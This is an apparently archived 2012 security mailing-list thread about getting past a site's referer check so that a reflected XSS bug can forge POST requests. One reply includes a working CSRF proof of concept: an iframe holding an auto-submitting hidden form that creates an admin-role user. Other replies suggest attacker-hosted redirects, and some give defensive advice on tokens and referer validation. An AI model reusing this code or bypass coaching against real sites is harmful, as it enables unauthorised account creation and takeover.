Help with referer issues in XSS
1.) The referrer attribute is relevant only upon submission of the
request to the server. That means that it usually doesn't affect an XSS
reflection. Just submit a legitimate request and shove your attack
string in.
2.) The referrer attribute is a concern when doing a CSRF attack.
<%@page language="java" contentType="text/html"%>
<div id="content">
<h1>
CSRF Test
</h1>
<Br/>
<Br/>
<Script type="text/javascript">
var strSource = "
<HTML>\r\n\
<Input type="hidden" name="mainAction" value="create">\r\n\
<Input type="hidden" name="subAction" value="OK">\r\n\
<Input type="hidden" name="motAction" value="">\r\n\
<Input type="hidden" name="selectedItem" value="">\r\n\
<Input type="hidden" name="companyName" value="ACME, Inc.">\r\n\
<Input type="hidden" name="companyCd" value="1102885751">\r\n\
<Input type="hidden" name="deptId" value="">\r\n\
<Input type="hidden" name="currDeptId" value="">\r\n\
<Input type="hidden" name="departmentID" value="Dept">\r\n\
<Input type="hidden" name="userID" value="CSRFTest0">\r\n\
<Input type="hidden" name="userFirstName" value="J">\r\n\
<Input type="hidden" name="userLastName" value="Deaux">\r\n\
<Input type="hidden" name="userLoginId" value="CSRFTest0">\r\n\
<Input type="hidden" name="userPassword" value="test123">\r\n\
<Input type="hidden" name="userPassword2" value="test123">\r\n\
<Input type="hidden" name="addressOne" value="123+Anystreet">\r\n\
<Input type="hidden" name="addressTwo" value="">\r\n\
<Input type="hidden" name="cityName" value="Anytown">\r\n\
<Input type="hidden" name="stateCd" value="AL">\r\n\
<Input type="hidden" name="postalCd" value="36310">\r\n\
<Input type="hidden" name="country" value="US">\r\n\
<Input type="hidden" name="telephoneNbr" value="9876543210">\r\n\
<Input type="hidden" name="faxNbr" value="">\r\n\
<Input type="hidden" name="useDeptSettingsFlg" value="true">\r\n\
<Input type="hidden" name="adminRoleCd" value="A">\r\n\
</Form>\r\n\
</Body>\r\n
<Script
type="text/javascript">\r\n\
document.forms["RequestForm"].submit();\r\n\
</Script>\r\n
</HTML>\r\n";
var eleCSRFIFrame =
document.createElement("iframe");
eleCSRFIFrame.style.width = "80%";
eleCSRFIFrame.style.height = "80%";
document.body.appendChild(eleCSRFIFrame);
var docFrameSource =
eleCSRFIFrame.document;
if(eleCSRFIFrame.contentDocument)
docFrameSource =
eleCSRFIFrame.contentDocument; // for NS6
else
if(eleCSRFIFrame.contentWindow)
docFrameSource =
eleCSRFIFrame.contentWindow.document; // for IE6
docFrameSource.open();
docFrameSource.writeln(strSource);
docFrameSource.close();
</Script>
</div><!-- close: content -->
-----Original Message-----
From: listbounce@securityfocus.com [mailto:listbounce@securityfocus.com]
On Behalf Of Yuping Li
Sent: Friday, March 02, 2012 12:56 AM
To: webappsec@securityfocus.com; websecurity@webappsec.org
Subject: Help with referer issues in XSS
Hi, all
Suppose there is a reflect XSS vulnerability in a pop SNS, but this
site is "concerned" about security, so they check the referer field of
certain POST request to make sure that they are normal and correct. Is
it possible for me to bypass this check within javascript? It seems
that I can't set this parameter like this:
xmlHttp.setRequestHeader("Referer","http://expected.target");
It would be appreciated if someone can give me a clue.
Regards,
This list is sponsored by Cenzic
Let Us Hack You. Before Hackers Do!
It's Finally Here - The Cenzic Website HealthCheck. FREE.
Request Yours Now!
http://www.cenzic.com/2009HClaunch_Securityfocus
Hi,
Thanks for all your response. The premise of my situation is that
there is a XSS bug in the site, and I want to utilize this vul to do
something more, for example, forge some post requests in my js code,
you may recall the glorious "Samy" story here. But the server is now
checking the referer field of any request, and the expected referer
should be like this: http://(www.)example.com(/xxx).
And can't be:
1, no referer
2, (example.com.***).attack.com/...
Until last second, I came to realize that the host part in the
referer field can only be http://(www.)example.com, and the request
will fail if the referer contain some sort of "xss attempt", but I can
only launch the post requests in the xssed page which means the xss
attempt will inevitable be contained in the referer field of a normal
request. Of course I can set it with firefox addons, but there is no
point here.
Seems if there is no programming way to set my own referer of my post
request and their xss detecting techniques of referer are good enough,
I may have no hope.
Yuping
If you want to create a script setting headers and exploiting XSS, that you
could redistribute to potential victims via email, you can't. But there are
number of ways to set a 'referer' via various tools or in lower level
languages. You could also write a script that would take a victim to an
evilguy.com which would do the harm setting headers, etc... There are other
more sophisticated ways like man-in-the-middle attacks that would also work.
Alan Tatourian
-----Original Message-----
From: listbounce@securityfocus.com [mailto:listbounce@securityfocus.com] On
Behalf Of Yuping Li
Sent: Tuesday, March 06, 2012 8:36 PM
To: Ward, Jon; ray.bradbury9@gmail.com; stefano.dipaola@wisec.it
Cc: webappsec@securityfocus.com; websecurity@webappsec.org
Subject: Re: Help with referer issues in XSS
Hi,
Thanks for all your response. The premise of my situation is that there is a
XSS bug in the site, and I want to utilize this vul to do something more,
for example, forge some post requests in my js code, you may recall the
glorious "Samy" story here. But the server is now checking the referer field
of any request, and the expected referer should be like this:
http://(www.)example.com(/xxx).
And can't be:
1, no referer
2, (example.com.***).attack.com/...
Until last second, I came to realize that the host part in the referer
field can only be http://(www.)example.com, and the request will fail if the
referer contain some sort of "xss attempt", but I can only launch the post
requests in the xssed page which means the xss attempt will inevitable be
contained in the referer field of a normal request. Of course I can set it
with firefox addons, but there is no point here.
Seems if there is no programming way to set my own referer of my post
request and their xss detecting techniques of referer are good enough, I may
have no hope.
Yuping
This list is sponsored by Cenzic
Let Us Hack You. Before Hackers Do!
It's Finally Here - The Cenzic Website HealthCheck. FREE.
Request Yours Now!
http://www.cenzic.com/2009HClaunch_Securityfocus
Or maybe you can use Tamper Data for FF.
Il giorno 07/mar/2012, alle ore 05:35, Yuping Li lyp20062392@gmail.com ha scritto:
Hi,
Thanks for all your response. The premise of my situation is that
there is a XSS bug in the site, and I want to utilize this vul to do
something more, for example, forge some post requests in my js code,
you may recall the glorious "Samy" story here. But the server is now
checking the referer field of any request, and the expected referer
should be like this: http://(www.)example.com(/xxx).
And can't be:
1, no referer
2, (example.com.***).attack.com/...
Until last second, I came to realize that the host part in the
referer field can only be http://(www.)example.com, and the request
will fail if the referer contain some sort of "xss attempt", but I can
only launch the post requests in the xssed page which means the xss
attempt will inevitable be contained in the referer field of a normal
request. Of course I can set it with firefox addons, but there is no
point here.
Seems if there is no programming way to set my own referer of my post
request and their xss detecting techniques of referer are good enough,
I may have no hope.
Yuping
This list is sponsored by Cenzic
Let Us Hack You. Before Hackers Do!
It's Finally Here - The Cenzic Website HealthCheck. FREE.
Request Yours Now!
http://www.cenzic.com/2009HClaunch_Securityfocus
James Manico wrote on 3/2/2012 1:24 PM:
Referrer header defense is reasonable for intranet facing applications
where referrer header policy is controlled.
Some organizations choose to strip all outbound referrer headers to
prevent information leakage. Therefor referrer defense of this nature
is not always workable for internet facing applications.
So really, you are better off using entropy (random tokens) for CSRF
defense, and proper validation and escaping for XSS defense.
Using the referrer as a CSRF defense works when the site is HTTPS and you disallow requests with an omitted referrer header. Only a tiny fraction of internet users suppress the referrer header over HTTPS:
"The Referer header can be used as a CSRF defense for HTTPS requests. In order to use the Referer header as a CSRF defense, a site must reject requests that omit the header because an attacker can cause the browser to suppress the header. Over HTTP, sites cannot afford to block requests that lack a Referer header because they would cease to be compatible with the sizable percentage (roughly 3–11%) of users. Over HTTPS, however, strict Referer validation is feasible because only a tiny percentage (0.05–0.22%) of browsers suppress the header. In particular, strict Referer validation is well-suited for preventing login CSRF because login requests are typically issued over HTTPS."
Source: http://seclab.stanford.edu/websec/csrf/csrf.pdf
That paper discusses various techniques for CSRF defense and is worth a read for those interested in this topic.
- Bil